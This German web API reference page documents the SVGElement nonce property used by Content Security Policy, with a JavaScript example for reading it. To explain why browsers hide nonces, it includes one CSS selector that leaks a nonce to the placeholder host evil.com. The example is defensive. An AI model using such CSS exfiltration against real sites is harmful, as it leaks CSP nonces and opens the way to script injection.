SVGElement: `nonce`-Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.
Die nonce
-Eigenschaft der SVGElement
-Schnittstelle gibt den Nonce zurück, der von der Content Security Policy verwendet wird, um zu bestimmen, ob ein bestimmter Abruf zulässig ist.
Wert
Ein String; der kryptografische Nonce oder ein leerer String, wenn kein Nonce festgelegt ist.
Beispiele
Abruf eines Nonce-Wertes
In der Vergangenheit unterstützten nicht alle Browser das nonce
-IDL-Attribut, daher bestand ein Workaround darin, getAttribute
als Fallback zu verwenden:
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");
// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`
In jüngeren Browserversionen werden nonce
-Werte, die auf diese Weise abgerufen werden, jedoch ausgeblendet (es wird ein leerer String zurückgegeben). Die IDL-Eigenschaft (svg['nonce']
) wird die einzige Möglichkeit sein, auf Nonces zuzugreifen.
Das Ausblenden von Nonces hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen wie diesen CSS-Selektor aus Inhalteeigenschaften zu exfiltrieren:
svg[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
Specification |
---|
HTML # dom-noncedelement-nonce |
Browser-Kompatibilität
Siehe auch
HTMLElement.nonce
eine ähnliche Methode für HTML-Elemente.nonce
globales Attribut- Content Security Policy
- CSP:
script-src